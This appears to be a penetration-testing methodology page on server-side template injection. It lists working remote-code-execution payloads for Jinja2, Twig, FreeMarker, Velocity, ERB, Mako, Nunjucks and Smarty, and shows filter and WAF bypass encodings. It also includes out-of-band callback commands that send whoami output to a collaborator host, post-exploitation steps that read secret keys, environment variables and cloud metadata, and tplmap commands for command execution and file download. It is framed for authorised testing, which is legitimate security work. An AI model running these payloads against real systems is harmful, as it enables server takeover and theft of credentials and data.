Skip to main content
CWECWE-1336
WSTGWSTG-INPV-18
MITRE ATT&CKT1190
CVSS Range7.2-9.8
Toolstplmap
Difficulty🟡 intermediate

Server-Side Template Injection (SSTI)

Test for and exploit server-side template injection by injecting template directives into user-controlled input that gets evaluated by the template engine. Successful SSTI leads to Remote Code Execution, credential exposure, and server compromise.

Quick Reference​

Detection Polyglots​

Use these polyglots to test for SSTI across multiple engines in a single payload.

Compact polyglot (use this first):

${{<%[%'"}}%\{{7*7}}

Basic polyglot:

{{7*7}}${7*7}<%=7*7%>#{7*7}${{7*7}}

Extended polyglot:

{{7*7}}${7*7}<%=7*7%>#{7*7}${{7*7}}{7*7}<#assign x=7*7>${x}{$smarty.version}

If "49" appears anywhere in the response, SSTI is likely present. Note the position of "49" to determine which syntax was evaluated, then narrow down the engine.

Engine Identification Tree​

Use this decision tree after confirming template evaluation.

Step 1: Send {{7*7}}
|
+--> Returns 49? ---> Jinja2, Twig, Nunjucks, or Pebble
| |
| +--> Send {{7*'7'}}
| |
| +--> Returns "7777777"? ---> Jinja2 or Nunjucks
| | +--> Send {{ config }}
| | +--> Flask config? ---> Jinja2
| | +--> Error/empty? ---> Nunjucks
| |
| +--> Returns "49"? ---> Twig or Pebble
| +--> Send {{ _self.env }}
| +--> Twig env? ---> Twig
| +--> Error? ---> Pebble
|
+--> Returns {{7*7}}? ---> Try other syntaxes below

Step 2: Send ${7*7}
|
+--> Returns 49? ---> FreeMarker, Velocity, EL, or Marko
| +--> Send ${.version}
| +--> Version string? ---> FreeMarker
| +--> Error? ---> Velocity, EL, or Marko
|
+--> Returns ${7*7}? ---> Try next

Step 3: Send #{7*7}
|
+--> Returns 49? ---> Spring EL (SpEL) / Thymeleaf

Step 4: Send <%= 7*7 %>
|
+--> Returns 49? ---> ERB (Ruby), EJS, or ASP

Step 5: Send {$smarty.version}
|
+--> Returns version? ---> Smarty (PHP)

Quick RCE Payloads by Engine​

EngineLanguageRCE Payload
Jinja2Python{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
TwigPHP{{['id']|filter('system')}}
FreeMarkerJava<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
VelocityJava$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")
ERBRuby<%= system("id") %>
MakoPython${__import__('os').popen('id').read()}
PebbleJavaSee Pebble section below
NunjucksJS{{constructor.constructor("return this.process.mainModule.require('child_process').execSync('id').toString()")()}}
SmartyPHP{php}echo system('id');{/php}

Overview​

What Is SSTI?​

Template engines generate dynamic content by embedding expressions within templates. When developers pass user input directly into these templates without proper sanitization, you can inject template directives that the engine executes server-side.

The key distinction from XSS: SSTI executes SERVER-SIDE, meaning successful exploitation grants access to the server's runtime environment, file system, and potentially the entire infrastructure.

How SSTI Occurs​

Direct template injection -- user input is concatenated into a template string:

# VULNERABLE (Python/Jinja2)
template_string = "Hello " + user_input + "!"
return render_template_string(template_string)

# SAFE
return render_template_string("Hello {{ name }}!", name=user_input)

Double evaluation -- user input is stored and later rendered as a template:

user_profile.bio = user_input  # Stored: "{{7*7}}"
render_template_string(user_profile.bio) # Outputs: 49

Template override -- user controls which template file is loaded:

template_name = request.args.get('template')
return render_template(template_name) # Path traversal + SSTI

Common Vulnerable Patterns​

Look for these application features -- they frequently use template rendering and are prone to SSTI:

  • Email templates with user-controlled content
  • PDF/report generation with dynamic content
  • Custom error pages displaying user data
  • CMS systems with template editing
  • Multi-tenant platforms with custom branding
  • Documentation generators
  • Marketing/campaign systems with dynamic templates
  • Invoice generation
  • Search result displays reflecting user queries
  • User profile fields rendered as templates

Fingerprint the Technology Stack​

Before testing for SSTI, fingerprint the target's technology stack to guide your approach.

Identify the Framework​

Use Wappalyzer results, HTTP headers, and error pages to identify the backend framework:

FrameworkLikely EngineSyntax
Flask / DjangoJinja2 / Django Templates{{ }}
Symfony / LaravelTwig / Blade{{ }}
Spring BootThymeleaf / FreeMarker${}, #{}, [[ ]]
Ruby on RailsERB<%= %>
Express.jsNunjucks / Pug / EJS{{ }}, #{}, <%= %>
Apache (Java)Velocity / FreeMarker${}, #set

Clues to Look For​

  • X-Powered-By header (e.g., Express, PHP)
  • Server header (e.g., gunicorn suggests Python, Puma suggests Ruby)
  • Template errors mentioning engine names in stack traces
  • {{variable}} or ${variable} patterns in page source
  • Python/Java/PHP/Ruby stack traces in error responses
  • References to Jinja2, Twig, FreeMarker in response headers or error pages

Detect SSTI​

Step 1: Identify Injection Points​

Test every parameter that might be evaluated as a template:

  • Form fields that appear in responses (name, email, bio, description)
  • URL parameters reflected in page content
  • Headers that influence page rendering (Referer, User-Agent if reflected)
  • File upload names displayed back to the user
  • Error messages containing user input
  • Email previews, PDF previews, report previews
  • Search queries reflected in result pages
  • Comment and description fields
  • Title and heading fields

Step 2: Test for Template Evaluation​

Send mathematical expression payloads and observe responses:

PayloadIf "49" returnedLikely Engine
{{7*7}}YesJinja2, Twig, Nunjucks, Pebble
${7*7}YesFreeMarker, Velocity, EL, Marko
#{7*7}YesSpring EL, Thymeleaf
<%= 7*7 %>YesERB, EJS, ASP
{{= 7*7 }}YesHandlebars (unsafe helper)
{$smarty.version}Version stringSmarty

Step 3: Fingerprint the Engine​

Once you confirm template evaluation, send engine-specific fingerprinting payloads (see Engine Identification section).

Step 4: Validate Across All Parameters​

Do not stop at the first injection point. Test all input parameters systematically -- different parameters may reach different template rendering contexts or engines.

Identify the Engine​

Jinja2 / Flask (Python)​

{{ config }}
{{ self.__class__.__mro__ }}
{{ ''.__class__.__mro__ }}

Look for: Flask config objects, Python MRO chain.

Twig (PHP)​

{{ _self }}
{{ _context }}
{{ app }}

Look for: Twig environment objects, Symfony references.

FreeMarker (Java)​

${.data_model}
${.globals}
<#assign ex="freemarker.template.utility.Execute"?new()>

Look for: FreeMarker data model, Java class references.

Velocity (Java)​

$class.inspect("java.lang.Runtime")
#set($x="")$x.class
$request.getClass()

Look for: Java class introspection results.

Smarty (PHP)​

{$smarty.version}
{php}echo 'test';{/php}
{self::getStreamVariable("file:///etc/passwd")}

Look for: Smarty version, PHP execution.

Mako (Python)​

${self.module.__builtins__}
<%
import os
x = os.popen('id').read()
%>${x}

Look for: Python builtins, module references.

Pebble (Java)​

{{ request }}
{{ response }}
{{ beans }}

Look for: Request/response objects, Spring beans.

Thymeleaf (Java)​

[[${#rt.exec('id')}]]
${T(java.lang.Runtime).getRuntime().exec('id')}

Look for: SpEL evaluation results.

Django Templates (Python)​

{{ settings.SECRET_KEY }}
{% debug %}

Look for: Django settings exposure. Note: Django templates are intentionally limited and rarely lead to RCE.

Exploit Blind SSTI​

When template output is not directly visible in responses, use these techniques.

Time-Based Detection​

Introduce a measurable delay by forcing the template engine to perform expensive computation.

Jinja2:

{% for i in range(100000000) %}{% endfor %}

FreeMarker:

<#list 1..100000000 as x></#list>

Twig:

{% for i in 1..100000000 %}{% endfor %}

Compare response times against a baseline. A noticeable delay confirms server-side evaluation.

Out-of-Band (OOB) Detection​

Use DNS or HTTP callbacks to confirm execution when no output is reflected.

DNS-based (Jinja2):

{{ ''.__class__.__mro__[2].__subclasses__()[X].__init__.__globals__['os'].popen('nslookup YOUR-COLLABORATOR.com').read() }}

HTTP-based (Jinja2):

{{ ''.__class__.__mro__[2].__subclasses__()[X].__init__.__globals__['os'].popen('curl http://YOUR-COLLABORATOR.com/$(whoami)').read() }}

DNS-based (FreeMarker):

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("nslookup YOUR-COLLABORATOR.com")}

Replace YOUR-COLLABORATOR.com with your actual callback domain. Monitor for incoming DNS or HTTP requests to confirm execution.

Error-Based Extraction​

Trigger errors that include data in error messages:

{{ ''.__class__.__mro__[2].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()|e }}

Bypass Filters​

Jinja2 Filter Bypasses​

Bypass underscore (_) filters:

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}

Bypass bracket ([]) filters:

{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1) }}

Bypass quote (' ") filters:

{% set chr = [].__class__.__bases__[0].__subclasses__()[X].__init__.__globals__.__builtins__.chr %}
{{ [].__class__.__bases__[0].__subclasses__()[Y](chr(105)%2bchr(100),shell=True,stdout=-1).communicate() }}

Bypass dot (.) filters:

{{ ''|attr('__class__') }}
{{ ''['__class__'] }}

Bypass keyword filters (e.g., config, class):

{{ request|attr('__cl'+'ass__') }}
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}

Twig Filter Bypasses​

Using arrays and filters:

{{ ["id"]|filter("system") }}
{{ ["id"|length]|map("passthru") }}

String concatenation:

{{ ['i'~'d']|filter('sys'~'tem') }}

FreeMarker Filter Bypasses​

Encoded strings:

${"freemarker.template.utility.Execute"?new()("\u0069\u0064")}

ERB Filter Bypasses​

<%= %x(id) %>
<%= Kernel.exec('id') %>
<%= eval("system('id')") %>

Evade WAFs​

Try these encoding and obfuscation techniques when payloads are blocked by a Web Application Firewall.

Encoding Techniques​

Unicode encoding:

\u007b\u007b7*7\u007d\u007d

Hex encoding:

{{0x37*0x37}}

HTML entity encoding:

&#123;&#123;7*7&#125;&#125;

Double URL encoding:

%257B%257B7*7%257D%257D

Octal encoding (where supported):

{{067*067}}

Structural Obfuscation​

Whitespace insertion:

{ {7*7} }
{{ 7*7 }}
{%0a{7*7}%0a}

Comment injection (Jinja2):

{#{comment}#}
{{7*7{#comment#}}}

Case variation (engine-specific):

{{CONFIG}}
{{Config}}
{{cOnFiG}}

String concatenation (Jinja2):

{{''.join(['c','o','n','f','i','g'])}}

Alternative print syntax (Jinja2):

{%print(7*7)%}

General Strategy​

  1. Start with the simplest payload ({{7*7}}).
  2. If blocked, try encoding (URL encode, then double URL encode, then unicode).
  3. If still blocked, try structural changes (whitespace, comments, concatenation).
  4. If still blocked, try alternative syntax for the same engine.
  5. Try different content types (JSON body, XML body, multipart) -- WAFs may not inspect all equally.

Post-Exploitation​

Information Gathering​

After confirming SSTI, gather information about the environment:

Server identity:

id
whoami
hostname
uname -a

Environment and configuration:

# Jinja2/Flask
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ request.environ }}
{{ config.__class__.__init__.__globals__['os'].environ }}

# Twig/Symfony
{{ app.request.server.all() }}
{{ app.request.cookies.all() }}

# FreeMarker
${.data_model}
${.globals}
${.vars}

Chained Exploitation​

SSTI can be chained with other vulnerabilities for increased impact:

SSTI to SSRF -- access internal services and cloud metadata:

{{ ''.__class__.__mro__[2].__subclasses__()[X].__init__.__globals__['os'].popen('curl http://169.254.169.254/latest/meta-data/').read() }}

SSTI to credential theft -- read configuration files:

{{ ''.__class__.__mro__[2].__subclasses__()[X]('/app/config/database.yml').read() }}

SSTI to lateral movement -- if the application uses microservices, SSTI in one service may provide pivot access to internal infrastructure. Template rendering services are often less hardened.

Context-Specific Exploitation​

Different output contexts require different approaches:

  • JSON context: Template may be inside a JSON value. You may need to break out of strings.
  • XML context: May need XML encoding. Watch for entity expansion.
  • HTML attribute context: May need to escape attributes. Watch for quote handling.
  • Email context: Email templates are often vulnerable. Check both HTML and plain text. Test via email preview features.

Assess Impact​

Verification Levels​

L1 -- Basic Detection (Low Confidence):

  • Evidence: Template expression is evaluated (e.g., {{7*7}} returns 49).
  • Proves: Template engine is processing expressions.
  • Next step: Fingerprint the specific engine.

L2 -- Engine Identification (Medium Confidence):

  • Evidence: Specific template engine identified (e.g., {{ config }} returns Flask config).
  • Proves: A specific engine is vulnerable.
  • Next step: Attempt deeper object access.

L3 -- Object Access (High Confidence):

  • Evidence: Can access internal objects/classes (e.g., __subclasses__(), __globals__).
  • Proves: Can traverse the object model.
  • Next step: Achieve code execution.

L4 -- Code Execution (Critical -- Full RCE):

  • Evidence: Server-side command execution achieved (id, whoami, hostname output visible, or DNS/HTTP callback received).
  • Proves: Full Remote Code Execution.
  • Next step: Document and report.

Write the PoC​

Follow these rules when demonstrating SSTI:

  1. Use non-destructive commands only: id, whoami, hostname, uname -a.
  2. Do not install backdoors or modify files on the target.
  3. Limit data extraction to proof of access (e.g., first 5 lines of /etc/passwd).
  4. Document each step with the exact payload sent and the response received.
  5. Start simple and escalate gradually: {{7*7}} first, then engine fingerprinting, then object access, then RCE.
  6. Never hardcode subclass indices -- enumerate dynamically since indices change between Python versions.
  7. Check output encoding -- if payloads work but output is HTML-encoded, try raw output endpoints (JSON, XML, plain text).

Common Pitfalls​

  • Wrong syntax assumption: Do not assume {{7*7}} always works. Different engines use different delimiters. Always test multiple syntaxes.
  • Version-dependent exploits: Subclass indices change between Python versions. Enumerate dynamically.
  • Client-side vs server-side confusion: AngularJS template injection is XSS, not SSTI. Verify execution happens server-side.
  • Second-order injection: Input may be stored and rendered later (email previews, PDF generation). Do not test only direct reflection.
  • Sandbox restrictions: Not all engines allow full RCE. Test for restrictions and use sandbox escape techniques.
  • Payload complexity: Start simple. Complex payloads are more likely to be filtered. Build complexity gradually.

Tool Reference: tplmap​

tplmap automates SSTI detection and exploitation across multiple engines.

# Basic detection
python tplmap.py -u "https://target.com/page?name=test"

# POST data
python tplmap.py -u "https://target.com/submit" -d "template=test"

# With cookies
python tplmap.py -u "https://target.com/page?name=test" -c "session=abc"

# Force specific engine
python tplmap.py -u "URL" -e jinja2

# Execute command after finding SSTI
python tplmap.py -u "URL" --os-cmd "id"

# File read
python tplmap.py -u "URL" --download /etc/passwd ./passwd.txt

Supported engines: Jinja2, Mako, Twig, Smarty, FreeMarker, Velocity, Jade, Pug, Nunjucks, ERB, Slim, Dust, Marko.

Prioritization​

Test these first (highest real-world exploitability)​

  1. Jinja2/Mako SSTI in Python applications -- EPSS >0.7 for SSTI CVEs. Python template engines have well-known RCE gadget chains (__class__.__mro__ traversal). Test {{7*7}} and ${7*7} on all user-controlled inputs that appear in rendered pages.
  2. FreeMarker/Velocity SSTI in Java applications -- Java template engines are common in enterprise applications. FreeMarker's <#assign> and Velocity's #set directives enable direct code execution.
  3. Twig/Smarty SSTI in PHP applications -- Twig's sandbox escapes and Smarty's {php} tags (older versions) are well-documented. Test {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}.

Test these if time permits (lower exploitability)​

  1. Nunjucks/Pug/EJS SSTI in Node.js applications -- Less common than Python/Java SSTI but increasingly seen in modern web applications. Test {{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}.
  2. ERB/Slim SSTI in Ruby applications -- Ruby's ERB allows direct code execution with <%= system('id') %>. Only relevant if user input reaches template rendering.
  3. Client-side template injection (AngularJS) -- {{constructor.constructor('alert(1)')()}} in AngularJS applications. Lower impact than server-side (no RCE) but can chain with XSS.

Skip if​

  • Application does not use server-side template rendering (pure SPA with API backend)
  • No user input is reflected in rendered HTML pages (all dynamic content comes from API responses rendered client-side)

Note: Template engine sandboxing cannot be verified externally. Jinja2 sandbox, Twig sandbox, and FreeMarker's restricted builtins all have known bypass techniques. If user input reaches template rendering, test for sandbox escapes rather than assuming they hold.

Asset criticality​

SSTI leading to RCE is always Critical. Prioritize by input visibility: user-facing template customization features (email templates, page builders) > error pages reflecting user input > search results pages > profile/display name rendering. Any endpoint where user input reaches a template engine is high priority.